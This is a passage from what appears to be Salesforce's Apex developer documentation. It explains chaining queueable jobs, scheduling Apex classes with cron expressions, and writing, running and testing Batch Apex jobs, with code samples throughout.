If you need to run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another
job, submit the second job from the execute() method of your queueable class. You can add only one job from an executing job,
233
Queueable ApexInvoking Apex
which means that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that
implements the Queueable interface, you can add this class to the queue in the execute() method as follows:
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
// Your processing logic here
// Chain this job to next job by submitting the next job
System.enqueueJob(new SecondJob());
}
}
Note: Apex allows web service callouts from chained queueable jobs.
You can’t chain queueable jobs in an Apex test. Doing so results in an error. To avoid getting an error, you can check if Apex is running
in test context by calling Test.isRunningTest() before chaining jobs.
Queueable Apex Limits
•The execution of a queued job counts once against the shared limit for asynchronous Apex method executions.
•You can add up to 50 jobs to the queue with System.enqueueJob in a single transaction. To check how many queueable jobs
have been added in one transaction, call Limits.getQueueableJobs().
•No limit is enforced on the depth of chained jobs, which means that you can chain one job to another job and repeat this process
with each new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for
chained jobs is 5, which means that you can chain jobs four times and the maximum number of jobs in the chain is 5, including the
initial parent queueable job.
•When chaining jobs, you can add only one job from an executing job with System.enqueueJob, which means that only one
child job can exist for each parent queueable job. Starting multiple child jobs from the same queueable job isn’t supported.
SEE ALSO:
Queueable Interface
QueueableContext Interface
Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you cannot update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
234
Apex SchedulerInvoking Apex
using the Metadata API (for example, when using the Force.com IDE). See “Deployment Connections for Change Sets” in the
Salesforce Help.
Implementing the Schedulable Interface
To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter Scheduled Jobs
in the Quick Find box, then select Scheduled Jobs.
The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}
The implemented method must be declared as global or public.
Use this method to instantiate the class you want to schedule.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing take place
in a separate class.
The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
mergeNumbers M = new mergeNumbers();
}
}
The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = system.schedule('Merge Job', sch, m);
You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable {
global void execute(SchedulableContext sc) {
batchable b = new batchable();
database.executebatch(b);
}
}
An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext getTriggerID
method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track
the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.
235
Apex SchedulerInvoking Apex
Tracking the Progress of a Scheduled Job Using Queries
After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger and retrieving
some fields, such as the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in
this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];
The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];
You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];
Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];
To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the
value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'
Testing the Apex Scheduler
The following is an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must ensure
that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest around the
System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the System.schedule method within the startTest and stopTest methods, the scheduled job executes at the
end of your test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.
This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {
// This test runs a scheduled job at midnight Sept. 3rd. 2022
236
Apex SchedulerInvoking Apex
public static String CRON_EXP = '0 0 0 3 9 ? 2022';
global void execute(SchedulableContext ctx) {
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00',String.valueOf(ct.NextFireTime));
Account a = [SELECT Id, Name FROM Account WHERE Name =
'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}
The following tests the above class:
@istest
class TestClass {
static testmethod void test() {
Test.startTest();
Account a = new Account();
a.Name = 'testScheduledApexFromTestMethod';
insert a;
// Schedule the test job
String jobId = System.schedule('testBasicScheduledApex',
TestScheduledApexFromTestMethod.CRON_EXP,
new TestScheduledApexFromTestMethod());
// Get the information from the CronTrigger API object
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];
// Verify the expressions are the same
System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);
// Verify the job has not run
System.assertEquals(0, ct.TimesTriggered);
// Verify the next time the job will run
System.assertEquals('2022-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
Test.stopTest();
237
Apex SchedulerInvoking Apex
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}
Using the System.Schedule Method
After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Special CharactersValuesName
None0Seconds
None0Minutes
None0–23Hours
,-*?/LW1–31Day_of_month
,-*/1–12 or the following:Month
•JAN
•FEB
•MAR
•APR
•MAY
•JUN
•JUL
•AUG
•SEP
•OCT
•NOV
•DEC
238
Apex SchedulerInvoking Apex
Special CharactersValuesName
,-*?/L#1–7 or the following:Day_of_week
•SUN
•MON
•TUE
•WED
•THU
•FRI
•SAT
,-*/null or 1970–2099optional_year
The special characters are defined as follows:
DescriptionSpecial Character
Delimits values. For example, use JAN, MAR, APR to specify more than one month.,
Specifies a range. For example, use JAN-MAR to specify more than one month.-
Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.
*
Specifies no specific value. This is only available for Day_of_month and
Day_of_week, and is generally used when specifying a value for one and not the
other.
?
Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
/
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.
Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
L
of the month, such as January 31, February 29 for leap years, and so on. When used
with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.
Specifies the nearest weekday (Monday-Friday) of the given day. This is only available
for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday,
W
the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does
not run in the previous month, but on the third, which is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.
239
Apex SchedulerInvoking Apex
DescriptionSpecial Character
Specifies the nth day of the month, in the format weekday#day_of_month.
This is only available for Day_of_week. The number before the # specifies weekday
#
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.
The following are some examples of how to use the expression.
DescriptionExpression
Class runs every day at 1 PM.0013**?
Class runs the last Friday of every month at 10 PM.0 0 22 ? * 6L
Class runs Monday through Friday at 10 AM.0 0 10 ? * MON-FRI
Class runs every day at 8 PM during the year 2010.0 0 20 * * ? 2010
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM,
on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
Using the System.scheduleBatch Method for Batch Jobs
You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This
method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. This makes it easy
to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the
System.scheduleBatch Method.
Apex Scheduler Limits
•You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page
in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the
CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
•The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The licenses
that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Apex Scheduler Notes and Best Practices
•Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.
240
Apex SchedulerInvoking Apex
•Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
•Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a
separate class.
•Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an asynchronous
callout by placing the callout in a method annotated with @future(callout=true) and call this method from scheduled
Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class. See Using Batch Apex.
•Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes
back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled
back and scheduled again after the service comes back up. Note that after major service upgrades, there might be longer delays
than usual for starting scheduled Apex jobs because of system usage spikes.
SEE ALSO:
Schedulable Interface
Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Force.com
platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.
Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger will not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Schedule Apex” in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 241.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 186.
IN THIS SECTION:
Using Batch Apex
Using Batch Apex
To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then invoke
the class programmatically.
241
Batch ApexInvoking Apex
To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the Quick Find box, then select Apex
Jobs.
Implementing the Database.Batchable Interface
The Database.Batchable interface contains three methods that must be implemented.
•start method:
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)
{}
To collect the records or objects to pass to the interface method execute, call the start method at the beginning of a batch
Apex job. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects
passed to the job.
When you’re using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
•execute method:
global void execute(Database.BatchableContext BC, list<P>){}
To do the required processing for each chunk of data, use the execute method. This method is called for each batch of records
that you pass to it.
This method takes the following:
–A reference to the Database.BatchableContext object.
–A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which they’re received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isn’t guaranteed.
•finish method:
global void finish(Database.BatchableContext BC){}
To send confirmation emails or execute post-processing operations, use the finish method. This method is called after all batches
are processed.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction are not rolled back.
242
Batch ApexInvoking Apex
Using Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
DescriptionReturnsArgumentsName
Returns the ID of the AsyncApexJob object associated with
this batch job as a string. Use this method to track the
IDgetJobID
progress of records in the batch job. You can also use this
ID with the System.abortJob method.
The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
global void finish(Database.BatchableContext BC){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:BC.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
Using Database.QueryLocator to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable.
The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{
global final String Query;
global final String Entity;
global final String Field;
global final String Value;
global SearchAndReplace(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
243
Batch ApexInvoking Apex
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
for(sobject s : scope){
s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}
Using an Iterable in Batch Apex to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{
global Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
global void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.BatchableContext info){
}
}
Using the Database.executeBatch Method to Submit Batch Jobs
You can use the Database.executeBatch method to programmatically begin a batch job.
Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
•An instance of a class that implements the Database.Batchable interface.
•An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you are limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to
244
Batch ApexInvoking Apex
2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
if you use a high number, you can run into other limits.
The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
FROM AsyncApexJob WHERE ID =: batchprocessid ];
You can also use this ID with the System.abortJob method.
For more information, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
Holding Batch Jobs in the Apex Flex Queue
With the Apex flex queue, you can submit up to 100 batch jobs.
The outcome of Database.executeBatch is as follows.
•The batch job is placed in the Apex flex queue, and its status is set to Holding.
•If the Apex flex queue has the maximum number of 100 jobs, Database.executeBatch throws a LimitException
and doesn’t add the job to the queue.
Note: If your org doesn’t have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job
queue with the Queued status. If the concurrent limit of queued or active batch job has been reached, a LimitException
is thrown, and the job isn’t queued.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved job’s new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed “first-in, first-out”—in the order
in which they’re submitted.
When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
monitor queued jobs on the Apex Jobs page.
Batch Job Statuses
The following table lists all possible statuses for a batch job along with a description of each.
DescriptionStatus
Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.
Holding
245
Batch ApexInvoking Apex
DescriptionStatus
Job is awaiting execution.Queued
The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.
Preparing
Job is being processed.Processing
Job aborted by a user.Aborted
Job completed with or without failures.Completed
Job experienced a system failure.Failed
Using the System.scheduleBatch Method
You can use the System.scheduleBatch method to schedule a batch job to run once at a future time.
The System.scheduleBatch method takes the following parameters.
•An instance of a class that implements the Database.Batchable interface.
•The job name.
•The time interval, in minutes, after which the job starts executing.
•An optional scope value. This parameter specifies the number of records to pass into the execute method. Use this parameter
when you have many operations for each record being passed in and are running into governor limits. By limiting the number of
records, you are limiting the operations per transaction. This value must be greater than zero. If the start method returns a
QueryLocator, the optional scope parameter of System.scheduleBatch can have a maximum value of 2,000. If set to a higher
value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method
returns an iterable, the scope parameter value has no upper limit. However, if you use a high number, you can run into other limits.
The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID).
This example schedules a batch job to run one minute from now by calling System.scheduleBatch. The example passes this
method an instance of a batch class (the reassign variable), a job name, and a time interval of one minute. The optional scope
parameter has been omitted. The method returns the scheduled job ID, which is used to query CronTrigger to get the status of the
corresponding scheduled job.
String cronID = System.scheduleBatch(reassign, 'job example', 1);
CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :cronID];
// TimesTriggered should be 0 because the job hasn't started yet.
System.assertEquals(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
// Next fire time: 2013-06-03 13:31:23
For more information, see CronTrigger in the Object Reference for Salesforce and Force.com.
Note: Some things to note about System.scheduleBatch:
•When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
246
Batch ApexInvoking Apex
•The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
•When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
•All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
•After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
Batch Apex Examples
The following example uses a Database.QueryLocator:
global class UpdateAccountFields implements Database.Batchable<sObject>{
global final String Query;
global final String Entity;
global final String Field;
global final String Value;
global UpdateAccountFields(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC,
List<sObject> scope){
for(Sobject s : scope){s.put(Field,Value);
}update scope;
}
global void finish(Database.BatchableContext BC){
}
}
You can use the following code to call the previous class.
// Query for 10 accounts
String q='SELECT Industry FROM Account LIMIT 10';
String e='Account';
String f='Industry';
String v='Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include isDeleted=false in the SOQL query
WHERE clause, as shown in these modified samples.
// Query for accounts that aren't in the Recycle Bin
String q='SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
247
Batch ApexInvoking Apex
String e='Account';
String f='Industry';
String v='Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
// Query for invoices that aren't in the Recycle Bin
String q =
'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e='Invoice_Statement__c';
String f='Description__c';
String v='Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);
The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
global class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;
global Database.querylocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);}
global void execute(Database.BatchableContext BC, List<sObject> scope){
List<Account> accns = new List<Account>();
for(sObject s : scope){Account a = (Account)s;
if(a.OwnerId==fromUserId){
a.OwnerId=toUserId;
accns.add(a);
}
}
update accns;
}
global void finish(Database.BatchableContext BC){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[] {email});
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
Use the following to execute the OwnerReassignment class in the previous example.
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
248
Batch ApexInvoking Apex
'WHERE ownerid=\'' + u.id + '\'';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);
The following is an example of a batch Apex class for deleting records.
global class BatchDelete implements Database.Batchable<sObject> {
public String query;
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
delete scope;
DataBase.emptyRecycleBin(scope);
}
global void finish(Database.BatchableContext BC){
}
}
This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d=Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);
Using Callouts in Batch Apex
To use a callout in batch Apex, specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}
Callouts include HTTP requests and methods defined with the webService keyword.
Using State in Batch Apex
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter is considered five transactions of 200 records each.
249
Batch ApexInvoking Apex
If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t
retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as they’re processed.
For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the
opportunity amounts as they were processed.
If you don’t specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed.
global class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{
global final String Query;
global integer Summary;
global SummarizeAccountTotal(String q){Query=q;
Summary = 0;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(
Database.BatchableContext BC,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}
global void finish(Database.BatchableContext BC){
}
}
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
global class MyBatchable implements Database.Batchable<sObject> {
private final String initialState;
String query;
global MyBatchable(String intialState) {
this.initialState = initialState;
}
global Database.QueryLocator start(Database.BatchableContext BC) {
// Access initialState here
return Database.getQueryLocator(query);
}
250
Batch ApexInvoking Apex
global void execute(Database.BatchableContext BC,
List<sObject> batch) {
// Access initialState here
}
global void finish(Database.BatchableContext BC) {
// Access initialState here
}
}
The initialState stores only the initial state of the class. You can’t use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records can’t access the new value. Only the initial value is accessible.
Testing Batch Apex
When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running into
governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the
executeBatch method to ensure that it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your
test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.
For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method
are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the
test method, enclose the code in try and catch statements. Place the catch block after the stopTest method. However, with
Apex saved using API version 21.0 and earlier, such exceptions don’t get passed to the test method and don’t cause test methods to fail.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
